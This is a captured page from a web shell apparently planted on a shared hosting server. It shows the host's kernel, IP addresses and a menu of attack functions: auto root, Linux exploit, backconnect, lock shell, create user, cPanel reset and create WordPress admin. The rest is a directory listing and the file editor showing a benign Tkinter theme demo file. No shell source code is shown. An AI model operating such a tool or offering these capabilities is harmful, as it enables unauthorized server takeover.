Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
lib64 /
python2.7 /
Demo /
tkinter /
ttk /
[ HOME SHELL ]
Name
Size
Permission
Action
img
[ DIR ]
drwxr-xr-x
combo_themes.py
1.58
KB
-rw-r--r--
combo_themes.pyc
1.88
KB
-rw-r--r--
combo_themes.pyo
1.88
KB
-rw-r--r--
dirbrowser.py
2.65
KB
-rw-r--r--
dirbrowser.pyc
3.88
KB
-rw-r--r--
dirbrowser.pyo
3.88
KB
-rw-r--r--
listbox_scrollcmd.py
1.13
KB
-rw-r--r--
listbox_scrollcmd.pyc
1.56
KB
-rw-r--r--
listbox_scrollcmd.pyo
1.56
KB
-rw-r--r--
mac_searchentry.py
3.63
KB
-rw-r--r--
mac_searchentry.pyc
3.88
KB
-rw-r--r--
mac_searchentry.pyo
3.88
KB
-rw-r--r--
notebook_closebtn.py
2.47
KB
-rw-r--r--
notebook_closebtn.pyc
2.91
KB
-rw-r--r--
notebook_closebtn.pyo
2.91
KB
-rw-r--r--
plastik_theme.py
9.36
KB
-rw-r--r--
plastik_theme.pyc
7.34
KB
-rw-r--r--
plastik_theme.pyo
7.34
KB
-rw-r--r--
roundframe.py
5.47
KB
-rw-r--r--
roundframe.pyc
6.28
KB
-rw-r--r--
roundframe.pyo
6.28
KB
-rw-r--r--
theme_selector.py
1.92
KB
-rw-r--r--
theme_selector.pyc
2.81
KB
-rw-r--r--
theme_selector.pyo
2.81
KB
-rw-r--r--
treeview_multicolumn.py
4.15
KB
-rw-r--r--
treeview_multicolumn.pyc
5.35
KB
-rw-r--r--
treeview_multicolumn.pyo
5.35
KB
-rw-r--r--
ttkcalendar.py
8.12
KB
-rw-r--r--
ttkcalendar.pyc
9.54
KB
-rw-r--r--
ttkcalendar.pyo
9.54
KB
-rw-r--r--
widget_state.py
2.66
KB
-rw-r--r--
widget_state.pyc
3.33
KB
-rw-r--r--
widget_state.pyo
3.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : plastik_theme.py
"""This demonstrates good part of the syntax accepted by theme_create. This is a translation of plastik.tcl to python. You will need the images used by the plastik theme to test this. The images (and other tile themes) can be retrived by doing: $ cvs -z3 -d:pserver:anonymous@tktable.cvs.sourceforge.net:/cvsroot/tktable \ co tile-themes To test this module you should do, for example: import Tkinter import plastik_theme root = Tkinter.Tk() plastik_theme.install(plastik_image_dir) ... Where plastik_image_dir contains the path to the images directory used by the plastik theme, something like: tile-themes/plastik/plastik """ import os import glob import ttk from Tkinter import PhotoImage __all__ = ['install'] colors = { "frame": "#efefef", "disabledfg": "#aaaaaa", "selectbg": "#657a9e", "selectfg": "#ffffff" } imgs = {} def _load_imgs(imgdir): imgdir = os.path.expanduser(imgdir) if not os.path.isdir(imgdir): raise Exception("%r is not a directory, can't load images" % imgdir) for f in glob.glob("%s/*.gif" % imgdir): img = os.path.split(f)[1] name = img[:-4] imgs[name] = PhotoImage(name, file=f, format="gif89") def install(imgdir): _load_imgs(imgdir) style = ttk.Style() style.theme_create("plastik", "default", settings={ ".": { "configure": {"background": colors['frame'], "troughcolor": colors['frame'], "selectbackground": colors['selectbg'], "selectforeground": colors['selectfg'], "fieldbackground": colors['frame'], "font": "TkDefaultFont", "borderwidth": 1}, "map": {"foreground": [("disabled", colors['disabledfg'])]} }, "Vertical.TScrollbar": {"layout": [ ("Vertical.Scrollbar.uparrow", {"side": "top", "sticky": ''}), ("Vertical.Scrollbar.downarrow", {"side": "bottom", "sticky": ''}), ("Vertical.Scrollbar.uparrow", {"side": "bottom", "sticky": ''}), ("Vertical.Scrollbar.trough", {"sticky": "ns", "children": [("Vertical.Scrollbar.thumb", {"expand": 1, "unit": 1, "children": [("Vertical.Scrollbar.grip", {"sticky": ''})] })] })] }, "Horizontal.TScrollbar": {"layout": [ ("Horizontal.Scrollbar.leftarrow", {"side": "left", "sticky": ''}), ("Horizontal.Scrollbar.rightarrow", {"side": "right", "sticky": ''}), ("Horizontal.Scrollbar.leftarrow", {"side": "right", "sticky": ''}), ("Horizontal.Scrollbar.trough", {"sticky": "ew", "children": [("Horizontal.Scrollbar.thumb", {"expand": 1, "unit": 1, "children": [("Horizontal.Scrollbar.grip", {"sticky": ''})] })] })] }, "TButton": { "configure": {"width": 10, "anchor": "center"}, "layout": [ ("Button.button", {"children": [("Button.focus", {"children": [("Button.padding", {"children": [("Button.label", {"side": "left", "expand": 1})] })] })] }) ] }, "Toolbutton": { "configure": {"anchor": "center"}, "layout": [ ("Toolbutton.border", {"children": [("Toolbutton.button", {"children": [("Toolbutton.padding", {"children": [("Toolbutton.label", {"side":"left", "expand":1})] })] })] }) ] }, "TMenubutton": {"layout": [ ("Menubutton.button", {"children": [("Menubutton.indicator", {"side": "right"}), ("Menubutton.focus", {"children": [("Menubutton.padding", {"children": [("Menubutton.label", {"side": "left", "expand": 1})] })] })] })] }, "TNotebook": {"configure": {"tabmargins": [0, 2, 0, 0]}}, "TNotebook.tab": { "configure": {"padding": [6, 2, 6, 2], "expand": [0, 0, 2]}, "map": {"expand": [("selected", [1, 2, 4, 2])]} }, "Treeview": {"configure": {"padding": 0}}, # elements "Button.button": {"element create": ("image", 'button-n', ("pressed", 'button-p'), ("active", 'button-h'), {"border": [4, 10], "padding": 4, "sticky":"ewns"} ) }, "Toolbutton.button": {"element create": ("image", 'tbutton-n', ("selected", 'tbutton-p'), ("pressed", 'tbutton-p'), ("active", 'tbutton-h'), {"border": [4, 9], "padding": 3, "sticky": "news"} ) }, "Checkbutton.indicator": {"element create": ("image", 'check-nu', ('active', 'selected', 'check-hc'), ('pressed', 'selected', 'check-pc'), ('active', 'check-hu'), ("selected", 'check-nc'), {"sticky": ''} ) }, "Radiobutton.indicator": {"element create": ("image", 'radio-nu', ('active', 'selected', 'radio-hc'), ('pressed', 'selected', 'radio-pc'), ('active', 'radio-hu'), ('selected', 'radio-nc'), {"sticky": ''} ) }, "Horizontal.Scrollbar.thumb": {"element create": ("image", 'hsb-n', {"border": 3, "sticky": "ew"}) }, "Horizontal.Scrollbar.grip": {"element create": ("image", 'hsb-g')}, "Horizontal.Scrollbar.trough": {"element create": ("image", 'hsb-t')}, "Vertical.Scrollbar.thumb": {"element create": ("image", 'vsb-n', {"border": 3, "sticky": "ns"}) }, "Vertical.Scrollbar.grip": {"element create": ("image", 'vsb-g')}, "Vertical.Scrollbar.trough": {"element create": ("image", 'vsb-t')}, "Scrollbar.uparrow": {"element create": ("image", 'arrowup-n', ("pressed", 'arrowup-p'), {"sticky": ''}) }, "Scrollbar.downarrow": {"element create": ("image", 'arrowdown-n', ("pressed", 'arrowdown-p'), {'sticky': ''}) }, "Scrollbar.leftarrow": {"element create": ("image", 'arrowleft-n', ("pressed", 'arrowleft-p'), {'sticky': ''}) }, "Scrollbar.rightarrow": {"element create": ("image", 'arrowright-n', ("pressed", 'arrowright-p'), {'sticky': ''}) }, "Horizontal.Scale.slider": {"element create": ("image", 'hslider-n', {'sticky': ''}) }, "Horizontal.Scale.trough": {"element create": ("image", 'hslider-t', {'border': 1, 'padding': 0}) }, "Vertical.Scale.slider": {"element create": ("image", 'vslider-n', {'sticky': ''}) }, "Vertical.Scale.trough": {"element create": ("image", 'vslider-t', {'border': 1, 'padding': 0}) }, "Entry.field": {"element create": ("image", 'entry-n', ("focus", 'entry-f'), {'border': 2, 'padding': [3, 4], 'sticky': 'news'} ) }, "Labelframe.border": {"element create": ("image", 'border', {'border': 4, 'padding': 4, 'sticky': 'news'}) }, "Menubutton.button": {"element create": ("image", 'combo-r', ('active', 'combo-ra'), {'sticky': 'news', 'border': [4, 6, 24, 15], 'padding': [4, 4, 5]} ) }, "Menubutton.indicator": {"element create": ("image", 'arrow-d', {"sticky": "e", "border": [15, 0, 0, 0]}) }, "Combobox.field": {"element create": ("image", 'combo-n', ('readonly', 'active', 'combo-ra'), ('focus', 'active', 'combo-fa'), ('active', 'combo-a'), ('!readonly', 'focus', 'combo-f'), ('readonly', 'combo-r'), {'border': [4, 6, 24, 15], 'padding': [4, 4, 5], 'sticky': 'news'} ) }, "Combobox.downarrow": {"element create": ("image", 'arrow-d', {'sticky': 'e', 'border': [15, 0, 0, 0]}) }, "Notebook.client": {"element create": ("image", 'notebook-c', {'border': 4}) }, "Notebook.tab": {"element create": ("image", 'notebook-tn', ("selected", 'notebook-ts'), ("active", 'notebook-ta'), {'padding': [0, 2, 0, 0], 'border': [4, 10, 4, 10]} ) }, "Progressbar.trough": {"element create": ("image", 'hprogress-t', {'border': 2}) }, "Horizontal.Progressbar.pbar": {"element create": ("image", 'hprogress-b', {'border': [2, 9]}) }, "Vertical.Progressbar.pbar": {"element create": ("image", 'vprogress-b', {'border': [9, 2]}) }, "Treeheading.cell": {"element create": ("image", 'tree-n', ("pressed", 'tree-p'), {'border': [4, 10], 'padding': 4, 'sticky': 'news'} ) } }) style.theme_use("plastik")
Close